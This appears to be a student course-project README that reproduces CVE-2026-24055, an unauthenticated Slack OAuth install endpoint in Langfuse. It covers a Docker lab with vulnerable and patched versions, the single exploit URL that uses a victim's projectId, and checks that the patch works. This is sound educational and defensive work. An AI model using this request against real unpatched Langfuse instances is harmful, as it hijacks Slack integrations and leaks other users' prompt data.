
Course Project for Web and Application Security — Group 06, class NT213.Q21.ANTT
The project reproduces a real-world security vulnerability that has been publicly disclosed (CVE-2026-24055) on the Langfuse platform — an OAuth endpoint that allows an attacker to take over the connection of a Slack workspace to someone else's project without needing to log in.
The project includes: setting up a Docker environment simulating both the vulnerable version and the patched version, performing the exploit step by step, and verifying that the patch works correctly. Through this, practicing the analysis of Access Control vulnerabilities in the OAuth flow, a skill directly applicable when building or auditing web authentication systems.
Skills demonstrated: OAuth2 flow analysis, Docker, reading security advisories, writing technical reports, security testing.
CVE-2026-24055 is an Improper Access Control vulnerability in Langfuse from version 3.89.0 to 3.146.0.
The endpoint /api/public/slack/install does not require authentication, allowing an attacker to bind their Slack workspace to any project simply by knowing the projectId. When the victim creates an automation that sends notifications to Slack, the entire prompt content will be leaked to the attacker's workspace.
| Attribute | Details |
|---|---|
| CWE | CWE-284 — Improper Access Control |
| Affected versions | Langfuse 3.89.0 – 3.146.0 |
| Patched version | Langfuse 3.147.0 |
| GitHub Advisory | GHSA-pvq7-vvfj-p98x |
| NVD | CVE-2026-24055 |

| Tool | Minimum Version |
|---|---|
| Docker Desktop | 24.0+ |
| Docker Compose | v2 |
| Git | any |
| RAM | 8 GB |
The Slack API allows using
http://localhost:3000as the Redirect URL.
http://localhost:3000
cd vulnerable
cp .env.example .env
Open the .env file, fill in the following values:
NEXTAUTH_URL=http://localhost:3000
SLACK_CLIENT_ID=<your-slack-client-id>
SLACK_CLIENT_SECRET=<your-slack-client-secret>
SLACK_STATE_SECRET=any-random-string
docker compose up -d
Check that the containers are ready:
docker compose ps
Wait about 30–60 seconds. All containers must be in the
Up (healthy)state.
Access http://localhost:3000:
Victim Account
Attacker Account
In the attacker's browser (no Langfuse login required), access:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
The flow proceeds:
Log in with the victim account:
Prompt created / updated / deletedSlack → choose a channelcd ../vulnerable
docker compose down
cd ../patched
cp .env.example .env
# Fill in the same values as in the vulnerable section
docker compose up -d
Try without logging in:
http://localhost:3000/api/public/slack/install?projectId=<any-project-id>
Expected result — HTTP 401:
{ "error": "Authentication required" }
Try logging in as the attacker, using the victim's projectId:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
Expected result — HTTP 403:
{ "error": "You do not have permission to configure Slack for this project" }
The vulnerability has been fully patched.
docker compose down
If you want to delete all data (volumes):
docker compose down -v
cve-2026-24055/
├── README.md ← this file
├── vulnerable/
│ ├── docker-compose.yml ← Langfuse v3.146.0 (vulnerable)
│ └── .env.example
└── patched/
├── docker-compose.yml ← Langfuse v3.147.0 (patched)
└── .env.example